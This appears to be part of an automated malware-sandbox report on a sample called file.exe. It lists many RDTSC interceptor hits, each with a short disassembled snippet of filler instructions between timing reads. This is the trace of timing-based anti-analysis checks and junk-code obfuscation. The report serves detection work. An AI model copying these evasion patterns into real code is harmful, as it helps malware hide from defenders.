Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 625552 second address: 625557 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 625E4B second address: 625E4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 625E4F second address: 625E58 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 625E58 second address: 625E65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 mov eax, dword ptr [eax] 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 625E65 second address: 625E69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 625E69 second address: 625E6D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62C220 second address: 62C224 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62B921 second address: 62B929 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62B929 second address: 62B945 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F65C0B38BF6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62B945 second address: 62B962 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 jmp 00007F65C10F1082h 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62B962 second address: 62B966 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62B966 second address: 62B96A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62BAA4 second address: 62BAB2 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F65C0B38BE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62BAB2 second address: 62BACE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F65C10F1088h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62BACE second address: 62BAF2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F65C0B38BF2h 0x00000011 jl 00007F65C0B38BE6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62BDD3 second address: 62BDEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jc 00007F65C10F1082h 0x0000000d jnc 00007F65C10F1076h 0x00000013 jc 00007F65C10F1076h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62BDEC second address: 62BDF1 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62C097 second address: 62C09D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62C09D second address: 62C0D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop eax 0x00000006 push esi 0x00000007 jmp 00007F65C0B38BF1h 0x0000000c pushad 0x0000000d jl 00007F65C0B38BE6h 0x00000013 jmp 00007F65C0B38BF5h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 631E51 second address: 631E57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 631E57 second address: 631E6B instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F65C0B38BE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F65C0B38BEAh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 630C82 second address: 630C88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6313B3 second address: 6313B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63095F second address: 630978 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F65C10F107Fh 0x0000000d push esi 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 636E1B second address: 636E1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 636E1F second address: 636E25 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 636E25 second address: 636E33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007F65C0B38BECh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63BA15 second address: 63BA54 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F65C10F1081h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c jmp 00007F65C10F1084h 0x00000011 jnc 00007F65C10F1076h 0x00000017 pop eax 0x00000018 pushad 0x00000019 push ebx 0x0000001a pop ebx 0x0000001b pushad 0x0000001c popad 0x0000001d jng 00007F65C10F1076h 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63BA54 second address: 63BA59 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63BBB3 second address: 63BBBB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63BE89 second address: 63BEAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F65C0B38BE6h 0x0000000a jmp 00007F65C0B38BF8h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63BEAB second address: 63BED2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F65C10F1082h 0x00000007 pushad 0x00000008 jmp 00007F65C10F107Eh 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63C048 second address: 63C055 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jc 00007F65C0B38BEEh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63C16E second address: 63C178 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push esi 0x00000007 pop esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63C178 second address: 63C17C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63C17C second address: 63C18F instructions: 0x00000000 rdtsc 0x00000002 ja 00007F65C10F1076h 0x00000008 jo 00007F65C10F1076h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63C18F second address: 63C195 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63C195 second address: 63C19B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63C2D2 second address: 63C2D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63C44E second address: 63C46B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F65C10F1080h 0x00000009 popad 0x0000000a jng 00007F65C10F1082h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63C46B second address: 63C471 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63C471 second address: 63C475 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63C475 second address: 63C491 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F65C0B38BF1h 0x0000000a popad 0x0000000b push ecx 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63C5ED second address: 63C5FD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F65C10F107Ch 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DD4BC second address: 5DD4C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63B44D second address: 63B451 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63B451 second address: 63B48F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F65C0B38BF9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d jmp 00007F65C0B38BF7h 0x00000012 pop ecx 0x00000013 pushad 0x00000014 push edi 0x00000015 pop edi 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63B48F second address: 63B494 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 640095 second address: 640099 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 644B12 second address: 644B5F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 pushad 0x0000000a push eax 0x0000000b jmp 00007F65C10F1081h 0x00000010 pop eax 0x00000011 jmp 00007F65C10F1083h 0x00000016 pushad 0x00000017 jmp 00007F65C10F1088h 0x0000001c push esi 0x0000001d pop esi 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FFD37 second address: 5FFD3C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FFFF8 second address: 5FFFFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FFFFC second address: 600002 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 600317 second address: 60031D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60031D second address: 600323 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 600323 second address: 600347 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a jmp 00007F65C10F1086h 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6005E3 second address: 600619 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F65C0B38BF0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jp 00007F65C0B38BF8h 0x00000011 je 00007F65C0B38BECh 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6009DA second address: 6009E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6009E0 second address: 6009EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 je 00007F65C0B38BE6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 600B6C second address: 600B71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 600D12 second address: 600D56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edi 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push eax 0x0000000d pushad 0x0000000e jmp 00007F65C0B38BF5h 0x00000013 jmp 00007F65C0B38BF0h 0x00000018 popad 0x00000019 pop eax 0x0000001a mov eax, dword ptr [eax] 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F65C0B38BEBh 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 600D56 second address: 600D6F instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F65C10F107Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 600D6F second address: 600D74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 600E41 second address: 600E4B instructions: 0x00000000 rdtsc 0x00000002 jns 00007F65C10F1076h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 643F90 second address: 643FA9 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F65C0B38BEEh 0x00000008 pushad 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b push edx 0x0000000c pop edx 0x0000000d push edi 0x0000000e pop edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6440DC second address: 6440E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6440E2 second address: 6440EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 pop esi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 644287 second address: 6442AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jno 00007F65C10F108Fh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6443F7 second address: 64443A instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F65C0B38BE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a ja 00007F65C0B38BECh 0x00000010 popad 0x00000011 pushad 0x00000012 jnl 00007F65C0B38BF7h 0x00000018 pushad 0x00000019 jmp 00007F65C0B38BF1h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 646FBE second address: 646FC2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 646FC2 second address: 646FC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 646FC8 second address: 646FCF instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 646FCF second address: 646FD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 646FD8 second address: 646FDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64A158 second address: 64A17C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F65C0B38BEFh 0x00000007 js 00007F65C0B38BE6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 js 00007F65C0B38BECh 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64A17C second address: 64A180 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64A180 second address: 64A1A0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F65C0B38BF9h 0x00000007 push eax 0x00000008 push edx 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 649B72 second address: 649B77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 649B77 second address: 649B7D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 649B7D second address: 649B81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 649CA2 second address: 649CA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 649CA7 second address: 649CCD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F65C10F1080h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F65C10F107Eh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 649CCD second address: 649CFA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F65C0B38BF1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 js 00007F65C0B38BFCh 0x0000000f jmp 00007F65C0B38BF0h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 649CFA second address: 649CFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 649EAE second address: 649EB2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64F8D7 second address: 64F8E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64F8E0 second address: 64F8E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64FE7F second address: 64FE9E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F65C10F1086h 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6007E3 second address: 6007E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64FFD5 second address: 64FFF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push ecx 0x00000006 jbe 00007F65C10F1076h 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e pop ecx 0x0000000f popad 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 jns 00007F65C10F1076h 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64FFF0 second address: 65000A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F65C0B38BF0h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65000A second address: 65000E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65000E second address: 650014 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 653F9F second address: 653FA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 653FA5 second address: 653FB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnc 00007F65C0B38BECh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 653FB6 second address: 653FBC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 653FBC second address: 653FFB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F65C0B38BEEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F65C0B38BF7h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 jmp 00007F65C0B38BEFh 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 653FFB second address: 65401A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F65C10F1086h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65401A second address: 654020 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6539D6 second address: 6539E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6582A9 second address: 6582AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
